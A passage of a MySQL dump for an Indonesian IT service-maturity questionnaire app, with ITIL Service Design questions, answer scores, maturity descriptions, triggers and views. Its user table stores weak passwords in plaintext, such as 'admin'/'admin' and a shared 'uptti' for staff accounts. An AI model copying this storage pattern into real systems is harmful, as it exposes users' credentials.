'k08', '5', 00001, 19), (4406, 'k09', '4', 00001, 19), (4407, 'k10', '4', 00001, 19), (4408, 'k11', '5', 00001, 19), (4409, 'k12', '4', 00001, 19), (4410, 'k13', '4', 00001, 19), (4411, 'k14', '4', 00001, 19), (4412, 'k15', '4', 00001, 19), (4413, 'k16', '5', 00001, 19), (4414, 'k17', '3', 00001, 19), (4415, 'k18', '4', 00001, 19), (4416, 'k19', '5', 00001, 19), (4417, 'k20', '4', 00001, 19), (4418, 'k21', '3', 00001, 19), (4419, 'k22', '5', 00001, 19), (4420, 'k23', '4', 00001, 19), (4421, 'k24', '4', 00001, 19), (4422, 'k25', '4', 00001, 19), (4423, 'k26', '3', 00001, 19), (4424, 'k27', '3', 00001, 19), (4425, 'k28', '3', 00001, 19), (4426, 'k29', '4', 00001, 19), (4427, 'k30', '4', 00001, 19), (4428, 'k31', '3', 00001, 19), (4429, 'k32', '4', 00001, 19), (4430, 'k33', '3', 00001, 19), (4431, 'k34', '4', 00001, 19), (4432, 'k35', '5', 00001, 19), (4433, 'k36', '3', 00001, 19), (4434, 'k37', '5', 00001, 19), (4435, 'k38', '4', 00001, 19), (4436, 'k39', '4', 00001, 19), (4437, 'k40', '5', 00001, 19), (4438, 'k41', '3', 00001, 19), (4439, 'k42', '5', 00001, 19), (4440, 'k43', '5', 00001, 19), (4441, 'k44', '5', 00001, 19), (4442, 'k45', '4', 00001, 19), (4443, 'k46', '3', 00001, 19), (4444, 'k47', '5', 00001, 19), (4445, 'k48', '4', 00001, 19), (4446, 'k49', '3', 00001, 19), (4447, 'k50', '4', 00001, 19), (4448, 'k51', '5', 00001, 19), (4449, 'k52', '5', 00001, 19), (4450, 'k53', '2', 00001, 19), (4451, 'k54', '5', 00001, 19), (4452, 'k55', '3', 00001, 19), (4453, 'k56', '3', 00001, 19), (4454, 'k57', '4', 00001, 19), (4455, 'k58', '5', 00001, 19), (4456, 'k59', '4', 00001, 19), (4457, 'k60', '2', 00001, 19), (4458, 'k61', '3', 00001, 19), (4459, 'k62', '4', 00001, 19), (4460, 'k63', '4', 00001, 19), (4461, 'k64', '4', 00001, 19), (4462, 'k65', '5', 00001, 19), (4463, 'k66', '3', 00001, 19), (4464, 'k67', '3', 00001, 19), (4465, 'k68', '3', 00001, 19), (4466, 'k69', '4', 00001, 19), (4467, 'k70', '4', 00001, 19), (4468, 'k71', '3', 00001, 19), (4469, 'k72', '3', 00001, 19), (4470, 'k73', '4', 00001, 19), (4471, 'k74', '3', 00001, 19), (4472, 'k75', '3', 00001, 19), (4473, 'k76', '4', 00001, 19), (4474, 'k77', '3', 00001, 19), (4475, 'k78', '5', 00001, 19), (4476, 'k79', '4', 00001, 19), (4477, 'k80', '3', 00001, 19), (4478, 'k81', '4', 00001, 19), (4479, 'k82', '4', 00001, 19), (4480, 'k83', '5', 00001, 19), (4481, 'k84', '3', 00001, 19), (4482, 'k85', '3', 00001, 19), (4483, 'k86', '3', 00001, 19), (4484, 'k87', '3', 00001, 19), (4485, 'k88', '2', 00001, 19), (4486, 'k89', '3', 00001, 19), (4487, 'k90', '3', 00001, 19), (4525, 'k01', '4', 00001, 20), (4526, 'k02', '4', 00001, 20), (4527, 'k03', '4', 00001, 20), (4528, 'k04', '4', 00001, 20), (4529, 'k05', '5', 00001, 20), (4530, 'k06', '5', 00001, 20), (4531, 'k07', '5', 00001, 20), (4532, 'k08', '3', 00001, 20), (4533, 'k09', '5', 00001, 20), (4534, 'k10', '4', 00001, 20), (4535, 'k11', '3', 00001, 20), (4536, 'k12', '3', 00001, 20), (4537, 'k13', '4', 00001, 20), (4538, 'k14', '4', 00001, 20), (4539, 'k15', '4', 00001, 20), (4540, 'k16', '4', 00001, 20), (4541, 'k17', '4', 00001, 20), (4542, 'k18', '5', 00001, 20), (4543, 'k19', '5', 00001, 20), (4544, 'k20', '5', 00001, 20), (4545, 'k21', '3', 00001, 20), (4546, 'k22', '4', 00001, 20), (4547, 'k23', '4', 00001, 20), (4548, 'k24', '5', 00001, 20), (4549, 'k25', '4', 00001, 20), (4550, 'k26', '4', 00001, 20), (4551, 'k27', '4', 00001, 20), (4552, 'k28', '3', 00001, 20), (4553, 'k29', '4', 00001, 20), (4554, 'k30', '3', 00001, 20), (4555, 'k31', '3', 00001, 20), (4556, 'k32', '5', 00001, 20), (4557, 'k33', '5', 00001, 20), (4558, 'k34', '4', 00001, 20), (4559, 'k35', '4', 00001, 20), (4560, 'k36', '5', 00001, 20), (4561, 'k37', '5', 00001, 20), (4562, 'k38', '4', 00001, 20), (4563, 'k39', '4', 00001, 20), (4564, 'k40', '5', 00001, 20), (4565, 'k41', '5', 00001, 20), (4566, 'k42', '5', 00001, 20), (4567, 'k43', '4', 00001, 20), (4568, 'k44', '5', 00001, 20), (4569, 'k45', '5', 00001, 20), (4570, 'k46', '5', 00001, 20), (4571, 'k47', '5', 00001, 20), (4572, 'k48', '5', 00001, 20), (4573, 'k49', '5', 00001, 20), (4574, 'k50', '4', 00001, 20), (4575, 'k51', '5', 00001, 20), (4576, 'k52', '4', 00001, 20), (4577, 'k53', '4', 00001, 20), (4578, 'k54', '5', 00001, 20), (4579, 'k55', '4', 00001, 20), (4580, 'k56', '4', 00001, 20), (4581, 'k57', '4', 00001, 20), (4582, 'k58', '4', 00001, 20), (4583, 'k59', '4', 00001, 20), (4584, 'k60', '3', 00001, 20), (4585, 'k61', '3', 00001, 20), (4586, 'k62', '4', 00001, 20), (4587, 'k63', '4', 00001, 20), (4588, 'k64', '4', 00001, 20), (4589, 'k65', '3', 00001, 20), (4590, 'k66', '5', 00001, 20), (4591, 'k67', '3', 00001, 20), (4592, 'k68', '3', 00001, 20), (4593, 'k69', '4', 00001, 20), (4594, 'k70', '4', 00001, 20), (4595, 'k71', '3', 00001, 20), (4596, 'k72', '5', 00001, 20), (4597, 'k73', '4', 00001, 20), (4598, 'k74', '4', 00001, 20), (4599, 'k75', '4', 00001, 20), (4600, 'k76', '4', 00001, 20), (4601, 'k77', '4', 00001, 20), (4602, 'k78', '4', 00001, 20), (4603, 'k79', '4', 00001, 20), (4604, 'k80', '5', 00001, 20), (4605, 'k81', '5', 00001, 20), (4606, 'k82', '5', 00001, 20), (4607, 'k83', '5', 00001, 20), (4608, 'k84', '5', 00001, 20), (4609, 'k85', '4', 00001, 20), (4610, 'k86', '4', 00001, 20), (4611, 'k87', '3', 00001, 20), (4612, 'k88', '3', 00001, 20), (4613, 'k89', '4', 00001, 20), (4614, 'k90', '5', 00001, 20); -- -- Triggers `jawaban` -- DELIMITER $$ CREATE TRIGGER `jawaban_ai` BEFORE INSERT ON `jawaban` FOR EACH ROW set new.id_periode = (SELECT id_periode from periode ORDER BY id_periode desc LIMIT 1) $$ DELIMITER ; -- -------------------------------------------------------- -- -- Table structure for table `kuesioner` -- CREATE TABLE `kuesioner` ( `id_kuesioner` varchar(10) NOT NULL, `kuesioner` text NOT NULL, `id_co` varchar(10) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `kuesioner` -- INSERT INTO `kuesioner` (`id_kuesioner`, `kuesioner`, `id_co`) VALUES ('k01', 'Kami menambahkan solusi untuk perancangan layanan IT ke dalam service portofolio (gambaran yang jelas dari semua layanan bisnis TI yang didokumentasikan dalam dokumentasi kebutuhan fungsional) pada fase perancangan konsep service design', 'c01'), ('k02', 'Kami telah mendefinisikan Service Level Requirements (proses yang berisi kebutuhan apa saja pada layanan IT yang diinginkan oleh user)', 'c01'), ('k03', 'Kami melibatkan bagian keuangan untuk mengatur anggaran yang dikeluarkan dalam pengembangan IT (seperti biaya untuk programmer, analis, design, perbaikan, infrastruktur IT, dll)', 'c01'), ('k04', 'Kami melibatkan Supplier/Pemasok apabila proses pengadaan (procurement) untuk infrastuktur IT, seperti komputer, printer, telepon, dll yang dibutuhkan pada layanan IT yang dibangun', 'c01'), ('k05', 'Kami merancang layanan IT sesuai dengan tujuan bisnis perusahaan', 'c01'), ('k06', 'Kami merancang layanan IT yang mudah dan efektif untuk dikembangkan', 'c01'), ('k07', 'Kami merancang layanan IT yang mudah dan efektif untuk digunakan oleh pengguna', 'c01'), ('k08', 'Kami melakukan identifikasi risiko yang mungkin timbul pada layanan IT sehingga dapat dijalankan dengan baik', 'c01'), ('k09', 'Kami melakukan perancangan sesuai dengan prosedur keamanan dan menjamin kehandalan layanan IT', 'c01'), ('k10', 'Kami merancang layanan, teknologi, dan proses pada layanan IT dengan tepat yang dapat memenuhi kebutuhan bisnis', 'c01'), ('k11', 'Kami merancang semua dokumen yang terlibat dalam perancangan layanan IT', 'c01'), ('k12', 'Kami merevisi semua dokumen yang terlibat da lam perancangan layanan IT', 'c01'), ('k13', 'Kami telah mendokumentasikan layanan IT yang digunakan pada perusahaan dalam Service Catalogue ', 'c02'), ('k14', 'Kami telah diberikan perngarahan untuk meningkatkan kesadaran mengenai pentingnya informasi layanan IT yang ada pada Service Catalogue', 'c02'), ('k15', 'Kami telah melakukan sinkronisasi antara Portofolio pada layanan IT dengan Service Catalogue sehingga data lebih akurat', 'c02'), ('k16', 'Kami memiliki personel pada divisi IT yang bertanggung jawab dalam meningkatkan keakuratan data pada katalog lainnya', 'c02'), ('k17', 'Kami memiliki Business Service Catalogue yang berisi informasi yang menghubungkan antara proses bisnis dan unit bisnis di perusahaan yang menggunakan layanan IT', 'c02'), ('k18', 'Kami memiliki Technical Service Catalogue yang berisi informasi yang menghubungkan antara layanan pendukung serta komponen dalam mendukung layanan IT yang ada di perusahaan', 'c02'), ('k19', 'Kami telah memiliki dokumentasi mengenai sejauh mana tingkat layanan IT yang ada di perusahaan, seperti dokumentasi melalui hasil wawancara langsung terhadap pengguna mengenai layanan IT yang digunakan', 'c03'), ('k20', 'Kami telah melakukan pengawasan untuk melihat sejauh mana tingkat layanan IT saat ini apakah sudah sesuai dengan kebutuhan pengguna', 'c03'), ('k21', 'Kami dengan rutin melakukan komunikasi secara langsung dengan pengguna agar layanan IT yang disediakan dapat meningkatkan kepuasan pengguna di perusahaan', 'c03'), ('k22', 'Kami menangani pelaporan mengenai penyediaan layanan IT yang dikeluhkan dari pengguna kepada divisi IT perusahaan', 'c03'), ('k23', 'Kami melakukan evaluasi mengenai penyediaan layanan IT kepada pengguna untuk rencana peningkatan pelayanan yang digunakan', 'c03'), ('k24', 'Kami melakukan penandatanganan persetujuan tingkat layanan (SLA) antara penyedia layanan IT/ divisi IT Perusahaan dengan pengguna di perusahaan', 'c03'), ('k25', 'Kami melakukan penandatanganan persetujuan tingkat layanan antara sesama penyedia layanan IT (OLA)', 'c03'), ('k26', 'Kami melakukan persetujuan antara manager IT dengan supplier diluar perusahaan berupa underpinning contract', 'c03'), ('k27', 'Kami memastikan bahwa pengguna memiliki pemahaman yang cukup dalam menggunakan layanan IT', 'c04'), ('k28', 'Kami telah melakukan pembuatan laporan terhadap kapasitas layanan IT untuk memenuhi kebutuhan bisnis perusahaan pada masa yang akan dating', 'c04'), ('k29', 'Kami telah melakukan perencanaan dan perkiraan terhadap kapasitas layanan IT untuk memenuhi kebutuhan bisnis perusahaan pada masa yang akan datang', 'c04'), ('k30', 'Kami telah mendefinisikan sub Proses Capacity Management yaitu Bussines Capacity Management', 'c04'), ('k31', 'Kami telah mendefinisikan sub proses Capacity Management yaitu Component Capacity Management', 'c04'), ('k32', 'Kami telah mendefinisikan kapasitas dari aplikasi yang kami miliki', 'c04'), ('k33', 'Kami telah mendefinisikan manajemen permintaan pengguna (user) sesuai dengan kapasitas organisasi.', 'c04'), ('k34', 'Kami telah memahami dan melakukan pemantauan waktu respon pengguna sesuai dengan kapasitas organisasi ', 'c04'), ('k35', 'Kami telah melakukan pembuatan laporan terhadap ketersediaan layanan IT di perusahaan', 'c05'), ('k36', 'Kami telah melakukan penjadwalan terhadap ketersediaan layanan IT di perusahaan', 'c05'), ('k37', 'Kami melakukan proses monitoring atau pengawasan ketersediaan layanan atas semua insiden, kejadian, dan permasalahan yang dapat mempengaruhi layanan IT yang ada pada perusahaan', 'c05'), ('k38', 'Kami melakukan proses measuring atau pengukuran ketersediaan layanan atas semua insiden, kejadian, dan permasalahan yang dapat mempengaruhi layanan IT yang ada pada perusahaan', 'c05'), ('k39', 'Kami melakukan proses investigasi ketersediaan layanan atas semua insiden, kejadian, dan permasalahan yang dapat mempengaruhi layanan IT yang ada pada perusahaan', 'c05'), ('k40', 'Kami telah melakukan planning atau perencanaan dari ketersediaan layanan IT yang ada saat ini', 'c05'), ('k41', 'Kami telah melakukan quality improvement atau peningkatan kualitas dari ketersediaan layanan IT', 'c05'), ('k42', 'Kami telah melakukan pengembangan layanan IT sesuai dengan kebutuhan bisnis perusahaan', 'c06'), ('k43', 'Kami telah menerima masukan kebutuhan dari divisi selain IT untuk melakukan analisa dari dampak bisnis terhadap layanan IT yang digunakan', 'c06'), ('k44', 'Kami telah mengembangkan rencana keberlanjutan dan perbaikan layanan IT', 'c06'), ('k45', 'Kami telah melakukan pendefinisian organisasi dalam melakukan perbaikan layanan IT secara terus-menerus serta menetapkan prosedur dan instruksi kerja organisasi tersebut', 'c06'), ('k46', 'Kami telah memastikan bahwa manajemen IT sesuai dengan perencanaan dan melakukan perbaikan secara terus-menerus, serta divisi IT harus sudah terlatih dalam melakukan suatu rencana yang akan dilakukan', 'c06'), ('k47', 'Kami telah mendokumentasikan dan revisi terhadap kebijakan keamanan informasi atau security policy pada layanan IT', 'c07'), ('k48', 'Kami telah melakukan evaluasi dengan cara melakukan peninjauan lebih lanjut terhadap keamanan semua asset informasi dan dokumentasi pada layanan IT', 'c07'), ('k49', 'Kami telah melakukan review, revisi, dan penilaian resiko terhadap musibah yang terjadi', 'c07'), ('k50', 'Kami telah melakukan kontrol terhadap semua pelanggaran keamanan dan insiden keamanan', 'c07'), ('k51', 'Kami melakukan aktivitas sesuai dengan prosedur keamanan apabila ingin merubah suatu proses dan layanan pada sistem atau perangkat baru', 'c07'), ('k52', 'Kami melakukan penjadwalan untuk pelaksanaan audit dari tim internal perusahaan terhadap keamanan pada layanan IT', 'c07'), ('k53', 'Kami telah melakukan penjadwalan untuk pelaksanaan audit dari organisasi eksternal perusahaan terhadap keamanan dan kehandalan pada layanan IT', 'c07'), ('k54', 'Kami memiliki supplier sebagai support dalam penyediaan layanan IT bagi kebutuhan proses bisnis perusahaan', 'c08'), ('k55', 'Kami memiliki kebijakan atas supplier untuk keberlangsungan layanan IT yang lebih baik', 'c08'), ('k56', 'Kami telah memiliki Supplier and Contract Database (SCD) yang terdiri dari data record seluruh supplier, rincian kontrak, jenis layanan yang diberikan, dan produk-produk yang disediakan oleh setiap supplier, serta semua informasi lainnya', 'c08'), ('k57', 'Kami telah mendefinisikan bagaimana mengelola perpanjangan atau penghentian kontrak kerja supplierKami telah mendefinisikan bagaimana cara melakukan evaluasi terhadap kontrak kerja supplier', 'c08'), ('k58', 'Kami memastikan bahwa pengguna memiliki pemahaman yang cukup dalam menggunakan layanan ITKami telah mendefinisikan bagaimana menentukan supplier baru dan kontrak kerjanya', 'c08'), ('k59', 'Kami telah mendefinisikan bagaimana mengelola perpanjangan atau penghentian kontrak kerja supplier', 'c08'), ('k60', 'Kami telah mendefinisikan ruang lingkup dari pengelolaan supplier', 'c08'), ('k61', 'Kami telah mendefinisikan kebijakan dan prinsip organisasi terhadap supplier', 'c08'), ('k62', 'Kami telah merencanakan dan mengkoordinasi sumber daya (resources) dan kemampuan (capabilities)', 'c09'), ('k63', 'Kami telah mengkoordinasikan semua aktivitas desain antar proyek', 'c09'), ('k64', 'Kami telah mendefinisikan Service Design Packages', 'c09'), ('k65', 'Kami memiliki dokumen service charters dan change requests', 'c09'), ('k66', 'Kami telah memonitor dan meningkatkan semua proses-proses service design', 'c09'), ('k67', 'Kami telah menggunakan Model RACI (Responsible, Accountable, Consulted, and Informed) yang digunakan untuk mendefinisikan peran dan tanggung jawab untuk Service Design', 'c10'), ('k68', 'Kami melakukan deskripsi dari aktivitas-aktivitas dari matriks RACI', 'c10'), ('k69', 'Kami melakukan pendefinisian dan menetapkan peran-peran dan tanggung jawab untuk menangani service design', 'c10'), ('k70', 'Kami telah memiliki IT Planner yang berperan untuk membuat dan mengkoordinasi setiap perencanaan IT diperusahaan', 'c10'), ('k71', 'Kami memiliki personil yang berperan untuk membuat dan mengelola katalog layanan IT', 'c10'), ('k72', 'Kami memiliki personil yang berperan untuk memastikan bahwa tingkat layanan IT terus meningkat seiring berkembangnya teknologi', 'c10'), ('k73', 'Kami memiliki personil yang berperan untuk memastikan bahwa ketersediaan layanan IT telah terpenuhi', 'c10'), ('k74', 'Kami memiliki personil yang berperan untuk memastikan bahwa kapasitas layanan IT telah terpenuhi', 'c10'), ('k75', 'Kami memiliki personil yang berperan untuk memastikan bahwa manajemen terhadap supplier telah terpenuhi', 'c10'), ('k76', 'Kami telah memiliki personil yang berperan untuk memastikan bahwa manajemen terhadap keamanan informasi telah terpenuhi', 'c10'), ('k77', 'Kami memiliki personil yang berperan untuk memastikan bahawa manajemen terhadap kelanjutan layanan IT yang terus-menerus telah terpenuhi', 'c10'), ('k78', 'Kami telah melakukan workshop sebagai salah satu teknik untuk mengetahui requirements (kebutuhan pelanggan)', 'c11'), ('k79', 'Kami menggunakan Tools CASE (Computer Aided Software Engineering) yang digunakan untuk mendukung pengembangan aplikasi dari fase analisis sampai ke tahap maintenance', 'c11'), ('k80', 'Kami melakukan pengembangan aplikasi yang meliputi pedoman pembangunan aplikasi yang independen', 'c11'), ('k81', 'Kami melakukan pengembangan aplikasi meliputi uji coba kemampuan aplikasi (testing) saat sedang beroperasi', 'c11'), ('k82', 'Kami melakukan pengembangan aplikasi meliputi pada fase pembangunan aplikasi', 'c11'), ('k83', 'Kami melakukan pengembangan aplikasi meliputi peran tim pembangun (bulider) aplikasi dalam organisasi', 'c11'), ('k84', 'Kami melakukan pengembangan sesuai dengan semua tahapan dari siklus hidup layanan (service lifecycle)', 'c11'), ('k85', 'Kami telah memiliki alat (tools) dan teknik yang memungkinkan untuk dilakukan perancangan software', 'c12'), ('k86', 'Kami telah memiliki alat (tools) dan teknik yang memungkinkan untuk dilakukan perancangan data', 'c12'), ('k87', 'Kami memiliki alat atau tools yang memungkinkan untuk melakukan pengelolaan biaya layanan', 'c12'), ('k88', 'Kami memiliki alat atau tools yang memungkinkan untuk melakukan pengelolaan service catalogue', 'c12'), ('k89', 'Kami memiliki alat yang mengelola semua aspek layanan dan kinerja', 'c12'), ('k90', 'Kami memiliki alat yang menunjukkan integrasi bisnis dan proses layanan', 'c12'); -- -------------------------------------------------------- -- -- Table structure for table `level` -- CREATE TABLE `level` ( `id_level` int(1) NOT NULL, `level` tinyint(1) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `level` -- INSERT INTO `level` (`id_level`, `level`) VALUES (1, 1), (2, 2), (3, 3); -- -------------------------------------------------------- -- -- Table structure for table `maturity` -- CREATE TABLE `maturity` ( `id_maturity` varchar(5) NOT NULL, `level` tinyint(1) NOT NULL, `maturity` varchar(25) NOT NULL, `ket` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `maturity` -- INSERT INTO `maturity` (`id_maturity`, `level`, `maturity`, `ket`) VALUES ('0', 0, '', ''), ('1', 1, 'Initial', 'Proses-proses perusahaan bersifat ad hocatau proses terkait telah direncanakan dan dilakukan namun tidak memiliki standar kinerja. pada level ini, organisasi pada umumnya tidak menyediakan lingkungan yang stabil untuk mengembangkan suatu produk baru. Ketika suatu organisasi kelihatannya mengalami kekurangan pengalaman manajemen, keuntungan dari mengintegrasikan pengembangan produk tidak dapat ditentukan dengan perencanaan yang tidak efektif, respon sistem. Proses pengembangan tidak dapat diprediksi dan tidak stabil, karena proses secara teratur berubah atau dimodifikasi selama pengerjaan berjalan beberapa form dari satu proyek ke proyek lain. Kinerja tergantung pada kemampuan individual atau term dan varies dengan keahlian yang dimilikinya. '), ('2', 2, 'Repeatable', 'Proses-proses terkait telah direncanakan dan dilakukan secara rutin namun tidak terdokumentasi. pada level ini, kebijakan untuk mengatur pengembangan suatu proyek dan prosedur dalam mengimplementasikan kebijakan tersebut ditetapkan. Tingkat efektif suatu proses manajemen dalam mengembangankan proyek adalah institutionalized, dengan memungkinkan organisasi untuk mengulangi pengalaman yang berhasil dalam mengembangkan proyek sebelumnya, walaupun terdapat proses tertentu yang tidak sama. Tingkat efektif suatu proses mempunyai karakteristik seperti; practiced, dokumentasi, enforced, trained, measured, dan dapat ditingkatkan. Product requirement dan dokumentasi perancangan selalu dijaga agar dapat mencegah perubahan yang tidak diinginkan. '), ('3', 3, 'Defined', 'Proses-proses direncanakan dan dilakukan secara rutin dan didokumentasikan dengan standar tertentu. pada level ini, proses standar dalam pengembangan suatu produk baru didokumentasikan, proses ini didasari pada proses pengembangan produk yang telah diintegrasikan. Proses-proses ini digunakan untuk membantu manejer, ketua tim dan anggota tim pengembangan sehingga bekerja dengan lebih efektif. Suatu proses yang telah didefenisikan dengan baik mempunyai karakteristik; readiness criteria, inputs, standar dan prosedur dalam mengerjakan suatu proyek, mekanisme verifikasi, output dan kriteria selesainya suatu proyek. Aturan dan tanggung jawab yang didefinisikan jelas dan dimengerti. Karena proses perangkat lunak didefinisikan dengan jelas, maka manajemen mempunyai pengatahuan yang baik mengenai kemajuan proyek tersebut. Biaya, jadwal dan kebutuhan proyek dalam pengawasan dan kualitas produk yang diawasi. '), ('4', 4, 'Managed', 'Proses-proses terkait telah direncanakan dan dilakukan secara rutin, didokumentasikan menggunakan standar dan dilakukan pengukuran kinerja proses. Pada level ini, organisasi membuat suatu matrik untuk suatu produk, proses dan pengukuran hasil. Proyek mempunyai kontrol terhadap produk dan proses untuk mengurangi variasi kinerja proses sehingga terdapat batasan yang dapat diterima. Resiko perpindahan teknologi produk, prores manufaktur, dan pasar harus diketahui dan diatur secara hati-hati. Proses pengembangan dapat ditentukan karena proses diukur dan dijalankan dengan limit yang dapat diukur.\n'), ('5', 5, 'Optimized', 'Proses-proses terkait telah direncanakan dan dilakukan secara rutin, didokumentasikan dengan standar, dilakukan pengukuran, serta diperbaiki secara berkelanjutan (continuously improved). Pada level ini, seluruh organisasi difokuskan pada proses peningkatan secara terus-menerus. Teknologi informasi sudah digunakan terintegrasi untuk otomatisasi proses kerja dalam perusahaan, meningkatkan kualitas, efektifitas, serta kemampuan beradaptasi perusahaan. Tim pengembangan produk menganalisis kesalahan dan defects untuk menentukan penyebab kesalahannya. Proses pengembangan melakukan evaluasi untuk mencegah kesalahan yang telah diketahui dan defects agar tidak terjadi lagi. '); -- -------------------------------------------------------- -- -- Table structure for table `nilai_harapan` -- CREATE TABLE `nilai_harapan` ( `id_nilai` int(11) NOT NULL, `id_maturity` varchar(5) NOT NULL, `id_periode` int(11) NOT NULL, `keterangan` text NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `nilai_harapan` -- INSERT INTO `nilai_harapan` (`id_nilai`, `id_maturity`, `id_periode`, `keterangan`) VALUES (1, '3', 1, 'Karena masih dalam tahap pengembangan'); -- -------------------------------------------------------- -- -- Table structure for table `periode` -- CREATE TABLE `periode` ( `id_periode` int(5) UNSIGNED ZEROFILL NOT NULL, `periode_awal` date NOT NULL, `periode_akhir` date NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `periode` -- INSERT INTO `periode` (`id_periode`, `periode_awal`, `periode_akhir`) VALUES (00001, '2017-06-20', '2017-07-14'); -- -- Triggers `periode` -- DELIMITER $$ CREATE TRIGGER `periode_ai` AFTER INSERT ON `periode` FOR EACH ROW INSERT INTO jawaban (`id_periode`, `id_user`, `id_kuesioner`) SELECT new.id_periode, id_user, id_kuesioner FROM jawaban $$ DELIMITER ; -- -------------------------------------------------------- -- -- Table structure for table `service` -- CREATE TABLE `service` ( `id_service` varchar(10) NOT NULL, `nama_service` varchar(25) NOT NULL, `ket_service` varchar(300) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `service` -- INSERT INTO `service` (`id_service`, `nama_service`, `ket_service`) VALUES ('s1', 'Service Design', 'Merancang layanan baru atau layanan lama yang akan diubah. Menganalisis dan memastikan layanan baru telah dipertimbangkan tahapan mendesain layanan-layanan TI yang telah disetujui untuk disediakan (Service Catalog), termasuk pembuatan desain arsitektur, proses-proses, kebijakan, dan dokumen.'); -- -------------------------------------------------------- -- -- Table structure for table `user` -- CREATE TABLE `user` ( `id_user` int(11) NOT NULL, `username` varchar(10) NOT NULL, `password` varchar(10) NOT NULL, `jabatan` varchar(25) NOT NULL, `id_level` int(1) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `user` -- INSERT INTO `user` (`id_user`, `username`, `password`, `jabatan`, `id_level`) VALUES (1, 'admin', 'admin', 'Admin Sistem', 1), (2, 'pr', 'uptti', 'Pembantu Rektor 2', 3), (7, 'sisfo', 'uptti', 'Kadiv Sistem Informasi', 2), (8, 'database', 'uptti', 'Kadiv Database', 2), (9, 'sisfo1', 'uptti', 'Staff Sisfo 1', 2), (10, 'sisfo2', 'uptti', 'Staff Sisfo 2', 2), (11, 'sisfo3', 'uptti', 'Staff Sisfo 3', 2), (12, 'sisfo4', 'uptti', 'Staff Sisfo 4', 2), (13, 'sisfo5', 'uptti', 'Staff Sisfo 5', 2), (14, 'database1', 'uptti', 'Staff Database 1', 2), (15, 'database2', 'uptti', 'Staff Database 2', 2), (16, 'database3', 'uptti', 'Staff Database 3', 2), (17, 'jaringan1', 'uptti', 'Staff Jaringan 1', 2), (18, 'jaringan2', 'uptti', 'Staff Jaringan 2', 2), (19, 'jaringan3', 'uptti', 'Staff Jaringan 3', 2), (20, 'jaringan4', 'uptti', 'Staff Jaringan 4', 2); -- -- Triggers `user` -- DELIMITER $$ CREATE TRIGGER `trigger_jawaban_kuesioner` AFTER INSERT ON `user` FOR EACH ROW IF(NEW.id_level = 2) THEN INSERT INTO `jawaban` (`id_kuesioner`, `id_user`, `id_maturity`) SELECT id_kuesioner, NEW.id_user, 0 FROM kuesioner; END IF $$ DELIMITER ; -- -------------------------------------------------------- -- -- Stand-in structure for view `view_detail_co` -- CREATE TABLE `view_detail_co` ( `id_periode` int(5) unsigned zerofill ,`id_kuesioner` varchar(10) ,`id_co` varchar(10) ,`hasil` double ); -- -------------------------------------------------------- -- -- Stand-in structure for view `view_hasil` -- CREATE TABLE `view_hasil` ( `id_periode` int(5) unsigned zerofill ,`id_user` int(11) ,`id_co` varchar(10) ,`hasil` double ); -- -------------------------------------------------------- -- -- Stand-in structure for view `view_hasil_co` -- CREATE TABLE `view_hasil_co` ( `id_periode` int(5) unsigned zerofill ,`id_co` varchar(10) ,`hasil` double ); -- -------------------------------------------------------- -- -- Stand-in structure for view `view_hasil_proses` -- CREATE TABLE `view_hasil_proses` ( `periode` int(5) unsigned zerofill ,`area` varchar(25) ,`hasil_akhir` double ); -- -------------------------------------------------------- -- -- Structure for view `view_detail_co` -- DROP TABLE IF EXISTS `view_detail_co`; CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`localhost` SQL SECURITY DEFINER VIEW `view_detail_co` AS select `jawaban`.`id_periode` AS `id_periode`,`kuesioner`.`id_kuesioner` AS `id_kuesioner`,`kuesioner`.`id_co` AS `id_co`,(sum(`jawaban`.`id_maturity`) / count(`kuesioner`.`id_kuesioner`)) AS `hasil` from ((`jawaban` join `kuesioner` on((`kuesioner`.`id_kuesioner` = `jawaban`.`id_kuesioner`))) join `control` on((`control`.`id_co` = `kuesioner`.`id_co`))) group by `kuesioner`.`id_kuesioner` ; -- -------------------------------------------------------- -- -- Structure for view `view_hasil` -- DROP TABLE IF EXISTS `view_hasil`; CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`localhost` SQL SECURITY DEFINER VIEW `view_hasil` AS select `j`.`id_periode` AS `id_periode`,`j`.`id_user` AS `id_user`,`k`.`id_co` AS `id_co`,(sum(`j`.`id_maturity`) / count(`j`.`id_kuesioner`)) AS `hasil` from (`jawaban` `j` join `kuesioner` `k` on((`j`.`id_kuesioner` = `k`.`id_kuesioner`))) group by `k`.`id_co`,`j`.`id_user`,`j`.`id_periode` ; -- -------------------------------------------------------- -- -- Structure for view `view_hasil_co` -- DROP TABLE IF EXISTS `view_hasil_co`; CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`localhost` SQL SECURITY DEFINER VIEW `view_hasil_co` AS select `jawaban`.`id_periode` AS `id_periode`,`control`.`id_co` AS `id_co`,(sum(`jawaban`.`id_maturity`) / count(`jawaban`.`id_kuesioner`)) AS `hasil` from ((`control` join `kuesioner` on((`kuesioner`.`id_co` = `control`.`id_co`))) join `jawaban` on((`jawaban`.`id_kuesioner` = `kuesioner`.`id_kuesioner`))) group by `control`.`id_co` ; -- -------------------------------------------------------- -- -- Structure for view `view_hasil_proses` -- DROP TABLE IF EXISTS `view_hasil_proses`; CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`localhost` SQL SECURITY DEFINER VIEW `view_hasil_proses` AS select `view_hasil`.`id_periode` AS `periode`,`control`.`area` AS `area`,(sum(`view_hasil`.`hasil`) / count(`control`.`id_co`)) AS `hasil_akhir` from (`view_hasil` join `control` on((`control`.`id_co` = `view_hasil`.`id_co`))) group by `control`.`area` ; -- -- Indexes for dumped tables -- -- -- Indexes for table `control` -- ALTER TABLE `control` ADD PRIMARY KEY (`id_co`), ADD KEY `id_area` (`id_service`); -- -- Indexes for table `hasil_rekomendasi` -- ALTER TABLE `hasil_rekomendasi` ADD PRIMARY KEY (`id_rekomendasi`), ADD KEY `id_periode` (`id_periode`); -- -- Indexes for table `jawaban` -- ALTER TABLE 